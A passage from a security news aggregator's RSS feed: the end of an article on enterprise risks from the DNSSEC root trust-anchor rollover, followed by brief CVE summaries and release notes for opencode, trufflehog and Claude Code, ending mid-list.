<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-34373 | parse-community parse-server up to 8.6.65 GraphQL API Endpoint origin validation (GHSA-q3p6-g7c4-829c)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in parse-community parse-server up to 8.6.65. This affects an unknown part of the component GraphQL API Endpoint. Performing a manipulation results in origin validation error.

This vulnerability is identified as CVE-2026-34373....]]></description>
<link>https://tsecurity.de/de/3692886/sicherheitsluecken/cve-2026-34373-parse-community-parse-server-up-to-8665-graphql-api-endpoint-origin-validation-ghsa-q3p6-g7c4-829c/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692886/sicherheitsluecken/cve-2026-34373-parse-community-parse-server-up-to-8665-graphql-api-endpoint-origin-validation-ghsa-q3p6-g7c4-829c/</guid>
<pubDate>Sat, 25 Jul 2026 04:54:23 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/parse-community:parse-server">parse-community parse-server up to 8.6.65</a>. This affects an unknown part of the component <em>GraphQL API Endpoint</em>. Performing a manipulation results in origin validation error.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-34373">CVE-2026-34373</a>. The attack can be initiated remotely. There is not any exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-66338 | Red Hat Enterprise Linux Chunked Transfer Encoding Parser encoding error (EUVD-2026-48752)]]></title>
<description><![CDATA[A vulnerability, which was classified as very critical, was found in Red Hat Enterprise Linux. This affects an unknown function of the component Chunked Transfer Encoding Parser. The manipulation results in encoding error.

This vulnerability was named CVE-2026-66338. The attack may be performed ...]]></description>
<link>https://tsecurity.de/de/3692845/sicherheitsluecken/cve-2026-66338-red-hat-enterprise-linux-chunked-transfer-encoding-parser-encoding-error-euvd-2026-48752/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692845/sicherheitsluecken/cve-2026-66338-red-hat-enterprise-linux-chunked-transfer-encoding-parser-encoding-error-euvd-2026-48752/</guid>
<pubDate>Sat, 25 Jul 2026 03:55:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">very critical</a>, was found in <a href="https://vuldb.com/product/red_hat:enterprise_linux">Red Hat Enterprise Linux</a>. This affects an unknown function of the component <em>Chunked Transfer Encoding Parser</em>. The manipulation results in encoding error.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-66338">CVE-2026-66338</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.5]]></title>
<description><![CDATA[Core
Bugfixes

Improve Claude adaptive thinking handling across more response shapes.
Avoid OpenAI Responses phase handling that could break some conversations.
Preserve grep symlink paths in search results. (@remixz)
Preserve Mistral reasoning history across turns.
Stabilize Mistral prompt cachi...]]></description>
<link>https://tsecurity.de/de/3692688/downloads/v1185/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692688/downloads/v1185/</guid>
<pubDate>Sat, 25 Jul 2026 00:31:21 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Bugfixes</h3>
<ul>
<li>Improve Claude adaptive thinking handling across more response shapes.</li>
<li>Avoid OpenAI Responses phase handling that could break some conversations.</li>
<li>Preserve grep symlink paths in search results. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/remixz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/remixz">@remixz</a>)</li>
<li>Preserve Mistral reasoning history across turns.</li>
<li>Stabilize Mistral prompt caching.</li>
<li>Use the correct prompt cache keys for each SDK.</li>
<li>Fix MiniMax M3 thinking variant selection.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Support the current server terminal transport.</li>
<li>Support current-server review data in the desktop app.</li>
<li>Update server discovery flows for current servers.</li>
<li>Support current-server session actions, including prompts and commands.</li>
<li>Render current-server session timelines.</li>
<li>Stream current-server events in the desktop app.</li>
<li>Detect legacy and current servers so the desktop app can work with both.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Restore optimistic timeline updates while responses are still streaming.</li>
<li>Hide legacy-only features when connected to current servers.</li>
<li>Preserve inline file mentions when sending prompts to legacy servers.</li>
<li>Stop auto-accepting config permissions on current servers.</li>
<li>Keep current servers out of the legacy layout.</li>
<li>Show plain file contents in file-specific tabs instead of review diffs.</li>
<li>Keep the prompt input agent toggle in sync.</li>
<li>Keep paginated session timelines in the right order.</li>
<li>Restore directory-scoped session status for legacy servers.</li>
<li>Reload legacy session progress after hydration.</li>
</ul>
<p><strong>Thank you to 2 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dleopold/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dleopold">@dleopold</a>:
<ul>
<li>fix(app): classify existing web profiles for layout transition (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939847181" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/38117" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/38117/hovercard" href="https://github.com/anomalyco/opencode/pull/38117">#38117</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/remixz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/remixz">@remixz</a>:
<ul>
<li>fix(opencode): preserve grep symlink paths (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963907154" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/38581" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/38581/hovercard" href="https://github.com/anomalyco/opencode/pull/38581">#38581</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.96.0]]></title>
<description><![CDATA[What's Changed

[INS-355] Added Hashicorp vault token detector by @MuneebUllahKhan222 in #4819
Tighten JiraToken v1 verification by @shahzadhaider1 in #5122
[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by @bill-rich in #5123
Fix GitLab project metadata cache...]]></description>
<link>https://tsecurity.de/de/3692297/it-security-tools/v3960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692297/it-security-tools/v3960/</guid>
<pubDate>Fri, 24 Jul 2026 20:37:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>[INS-355] Added Hashicorp vault token detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087349241" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4819" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4819/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4819">#4819</a></li>
<li>Tighten JiraToken v1 verification by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857561874" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5122" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5122/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5122">#5122</a></li>
<li>[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bill-rich/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bill-rich">@bill-rich</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4858092823" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5123" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5123/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5123">#5123</a></li>
<li>Fix GitLab project metadata cache and switch to LRU by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890961533" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4727" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4727/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4727">#4727</a></li>
<li>Log analyze errors for Anthropic Analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4844292265" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5120" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5120/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5120">#5120</a></li>
<li>Add metrics for chunks and results by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880771609" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5128" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5128/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5128">#5128</a></li>
<li>Update Cloudflare detectors for 2026+ prefixed credential formats (include upstream PR changes) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4817025959" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5111" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5111/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5111">#5111</a></li>
<li>[INS-312] Duo API Secret Key Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994103061" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4771" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4771/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4771">#4771</a></li>
<li>[Feature] Added SonarQube Cloud "Scoped Organization Token" Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nabeelalam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nabeelalam">@nabeelalam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3925861219" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4739" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4739/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4739">#4739</a></li>
<li>[INS-255] Updated datadog detector to set verificationError in case of a verification error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3812485778" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4661" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4661/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4661">#4661</a></li>
<li>Log analyze errors for Postgres analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890144471" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5131" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5131/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5131">#5131</a></li>
<li>Log analyze errors for HuggingFace analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889921966" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5130" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5130/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5130">#5130</a></li>
<li>Engine - Config.SourceManager doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanfcp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanfcp">@amanfcp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563649430" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5002" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5002/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5002">#5002</a></li>
<li>Update module github.com/go-git/go-git/v5 to v5.19.1 [SECURITY] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/renovate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/renovate">@renovate</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642514134" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5034" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5034/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5034">#5034</a></li>
<li>Retry git clone on transient network errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894687674" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5132" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5132/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5132">#5132</a></li>
<li>Fix <code>scan_all_installations</code> Rejecting Org Member Personal Repos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930360573" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5142" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5142/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5142">#5142</a></li>
<li>updated detector to include underscore char by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
<li>[chore] Change job_id in metric to source_type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953017010" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5149" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5149/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5149">#5149</a></li>
<li>Posthog regex update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902316600" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5133" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5133/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5133">#5133</a></li>
<li>fix(handlers): apk handler now doesnt check for apk extension since json-enumerator and other byte stream methods wouldnt have it by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johannestaas-trufflesec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johannestaas-trufflesec">@johannestaas-trufflesec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954699768" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5151" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5151/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5151">#5151</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/trufflesecurity/trufflehog/compare/v3.95.9...v3.96.0"><tt>v3.95.9...v3.96.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.219]]></title>
<description><![CDATA[What's changed

Added Claude Opus 5 (claude-opus-5), now the default Opus model — 1M context, fast mode at $10/$50 per Mtok
Added sandbox.network.strictAllowlist setting to deny non-allowlisted hosts for sandboxed commands without prompting
Added DirectoryAdded hook that fires after /add-dir or t...]]></description>
<link>https://tsecurity.de/de/3692181/downloads/v21219/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692181/downloads/v21219/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added Claude Opus 5 (<code>claude-opus-5</code>), now the default Opus model — 1M context, fast mode at $10/$50 per Mtok</li>
<li>Added <code>sandbox.network.strictAllowlist</code> setting to deny non-allowlisted hosts for sandboxed commands without prompting</li>
<li>Added <code>DirectoryAdded</code> hook that fires after <code>/add-dir</code> or the SDK <code>register_repo_root</code> control request registers a new working directory mid-session</li>
<li>Added <code>mcp_server_errors</code> to the headless stream-json init event, listing <code>--mcp-config</code> entries skipped by config validation; terminal runs print a startup warning</li>
<li>Added the <code>workflowSizeGuideline</code> settings key so the advisory Dynamic workflow size guideline can be set from any settings file; the <code>/config</code> row is hidden while one does</li>
<li>Added nested subagent forwarding in stream-json: subagents spawned at depth-2+ now appear when <code>--forward-subagent-text</code> is set, keyed by their spawning Agent <code>tool_use</code> id</li>
<li>Fixed <code>claude -p</code> text output dropping the answer already produced when a turn dies on a mid-stream API error</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed a permission you approved while a self-hosted runner was restarting being dropped when the session resumed, so the approved action now runs</li>
<li>Fixed the Fable model row showing "Requires usage credits" for plans that include it, when a stale cache had baked the label in</li>
<li>Fixed a SIGTERM arriving while a self-hosted runner was starting up leaving a stale active row until the lease expired; it now deregisters cleanly</li>
<li>Added structured failure categories to self-hosted runner spawn and session failures, so hook errors, runner crashes and config errors can be told apart</li>
<li>Fixed the <code>/model</code> picker showing the merged Opus row as plain "Opus" instead of "Opus (1M context)"</li>
<li>Fixed copy-on-select inside GNU screen printing base64 into the terminal instead of copying the selection</li>
<li>Fixed Remote Control clients keeping a stale fast-mode status after a model switch, reconnect, or failed org check</li>
<li>Fixed <code>CLAUDE_CODE_GIT_BASH_PATH</code> on Windows exiting or being used as bash when the path isn't a bash/sh binary; it's now ignored with a warning</li>
<li>Fixed Vim mode: pressing ← on an empty prompt now returns to the agent view from NORMAL mode, not just INSERT</li>
<li>Fixed screen-reader mode rewriting the entire input line on every keystroke instead of echoing only the typed character</li>
<li>Improved the "Remote Control is only available via api.anthropic.com" error to name the specific setting that caused it</li>
<li>Improved <code>claude --teleport</code> to show which repo your current checkout points at when it doesn't match the session's repo</li>
<li>Changed dynamic workflows to default to a medium size guideline (aim for fewer than 15 agents); pick another size or unrestricted with Dynamic workflow size in <code>/config</code></li>
<li>Changed managed MCP allowlist/denylist <code>${VAR}</code> entries to resolve from the startup environment and managed-settings env instead of settings-file env</li>
<li>Changed the <code>/model</code> picker to highlight only the newest model's name, so the highlight marks the new release rather than an arbitrary subset of the list</li>
<li>Added the current default workflow size to the running-workflow status line, with a pointer to <code>/config</code> for changing it</li>
